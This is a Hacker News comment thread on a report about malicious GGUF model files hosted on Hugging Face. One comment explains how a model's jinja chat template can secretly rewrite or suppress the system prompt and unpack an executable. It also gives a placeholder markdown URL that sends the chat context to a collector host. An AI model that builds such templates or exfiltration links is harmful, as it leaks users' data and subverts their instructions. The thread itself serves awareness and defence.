Top
Best
New

Posted by homarp 11 hours ago

GGUF LLM Models with Hidden Malware on Hugging Face Reached 2400 Victims(malspark.com)
241 points | 75 commentspage 2
googaar 5 hours ago|
I try to use vetted uploaders like unsloth. I should start compiling the GGUFs myself.
nmbr5 4 hours ago||
what I want to know is why isn't HF and anyplace else that hosts model files using gguf-radar on all uploads? this appears to be a simple thing to automate. and if it says something is wrong quarantine the upload until a human looks over the report, since it does have a chance of false positives.
wronglebowski 9 hours ago||
This is a fine article, but if there’s truly only 5 out of 3273389 that are malicious that’s an incredibly low number. I’d bet there’s more malicious google ads people click on every day than use these models.
fuussssip 8 hours ago||
It's useful for people to know the models can do this. Most people think the models are just collections of weights. That said, understanding the attack vector here, it makes a lot of sense why detecting these things is hard.
heresie-dabord 9 hours ago||
> only 5 out of 3273389 that are malicious

I feel that this is comparable to the naïve (apocryphal) "640k RAM" anecdote.

dools 2 hours ago||
If these files can be scanned, wtf is hugging face not the one scanning them?! Otherwise they’re just blindly hosting malware
hrncn 6 hours ago||
This is basically why I am not a fan of infernix or ninfer(-all) or all the other less mature projects that offer lots of performance tied to bespoke model files. The executable GH releases and builds are (at least in the case of actual GH builds) likely fine, and can be built manaually just to be sure, but a massive mystery blob on HF can contain anything, and inspecting something more arcane than plain old gguf is a challenge.
SamInTheShell 4 hours ago||
Lots of words to just explain this simple thing here.

The GUFF's jinja template can be used to suppress your system prompt conditionally or append or modify it. Binary blobs or malicious code can be packed with the model to be written and executed.

Shenanigans can occur through just markdown output if it can render anything remote. Data exfiltration through uri://domain.tld/collector.ext?query=<all-your-data-in-context-belongs-to-hacker>

Having your inference isolated is great and all, but it's not going to protect you from your model having some side channel to Internet access in this scenario.

RachelF 2 hours ago|
Thank you for that.

Having the jinja being able to uncompress and run an .exe embedded in it is the problem.

thatsabadlook 10 hours ago||
Of course it's 5 random abliterated models. Glad people are paying attention to this, and I hope people start paying more attention to attack vectors like this. But it seems nearly insignificant at the scale reported. I would t be surprised if there were more sophisticated exploits sitting on hf today.
yborg 9 hours ago||
I had no idea this was even possible, I thought that the model files were strictly containers for weights and tensors. Now I understand why 'safetensor' format is called that. It feels like ancient history from when people used self-unpacking compression formats to deliver malware payloads...
kccqzy 9 hours ago||
I really appreciate the effort behind safetensors, but I think in this case it wouldn’t help.

> models in the Safetensors and PyTorch formats carry the same kind of template in a separate file, usually tokenizer_config.json or chat_template.jinja, so this half of the method applies to them too

whywhywhywhy 7 hours ago|||
Think it's a wakeup call because not sure how many people realised GGUF isn't safe when it became popular after safetensors
knollimar 6 hours ago||
Just learning this from this thread…
nagaiaida 4 hours ago||
in fairness, you're not really
croes 9 hours ago||
A small attack vector compared to all those AI vibe coded program clones or ports.

How many have checked the ArtCraft clones for malware before installation?

How many fell for fake GTA 6 PC ports?

cwyn 1 hour ago||
[dead]
t9tokenbudget 8 hours ago|
[dead]
More comments...